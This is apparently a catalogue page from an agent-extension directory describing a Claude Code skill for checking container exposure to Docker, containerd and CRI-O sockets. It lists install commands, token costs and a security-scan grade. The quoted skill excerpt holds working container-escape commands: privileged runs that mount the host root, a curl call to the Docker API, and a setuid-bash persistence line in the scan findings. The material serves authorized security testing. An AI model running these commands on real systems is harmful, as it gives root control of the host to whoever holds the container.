docker-socket-mount

docker-socket-mount is a skill for Claude Code from MingyiSecLab/Mingyi-Atlas. It costs 67 tokens per session (1,052 once invoked), scanned B, a copy of docker-socket-mount, Apache-2.0.

A guide for checking whether a container can access a Docker or containerd control socket. These sockets let programs manage containers and can provide a path from a container to the host machine.

In plain words
What is it for?
Use it to inspect mounts and socket files, assess Docker, containerd, or CRI-O exposure, and validate the risk in an authorized environment.
Why use it?
It helps identify a high-risk setup in which a mounted socket could let a compromised application control the container engine.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to inspect mounts and socket files, assess Docker, containerd, or CRI-O exposure, and validate the risk in an authorized environment.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/docker-socket-mount
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill docker-socket-mount
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for docker-socket-mount

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/docker-socket-mount.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/docker-socket-mount)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/docker-socket-mount"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/docker-socket-mount.svg" alt="Measured on agentmods" height="20"></a>
Per session 67 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,052 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00067 $0.01052
Opus 5 $0.00034 $0.00526
Sonnet 5 $0.00013 $0.00210
Haiku 4.5 $0.00007 $0.00105

Measured 7d ago against content hash a858c69b0249, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade B, and why

docker-socket-mount scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# Or use curl on the UNIX socket:
Origin

This is a copy

100% identical to docker-socket-mount — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/cloud/container/docker-socket-mount/SKILL.md · 94 lines

How it starts

The opening of the file, as written. The whole thing — 94 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Docker / Containerd Socket Mount Escape

A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.

Detect

ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1

Exploit — Docker socket

# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done — you're root on the host.

# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null

# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  http://localhost/containers/create

Exploit — containerd socket

# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
  --mount type=bind,src=/,dst=/host,options=rbind \
  docker.io/library/alpine:latest escape sh -c 'chroot /host'

# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited — fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /host

Exploit — CRI-O socket

crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.

Common attack contexts

Context Why the socket is mounted
Jenkins/GitLab CI runners Build Docker images inside the build container
ArgoCD / Flux Run pre-/post-sync hooks that build images
Docker-in-Docker (DinD) in K8s Same — build pipelines, kaniko alternatives
Diagnostic sidecars Container-level metrics/log shippers
Buildkit daemon w/ ungated rootless socket Same primitive, less restricted env

Read the full file on GitHub · 94 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 94 lines · 67 tokens per session scan B a858c69b0249

Subscribe to this mod's changes

docker-socket-mount is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 67 tokens to every session and 1,052 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (asks for root, makes network calls). It is 100% identical to docker-socket-mount, differing in 0 lines, and is treated as a copy.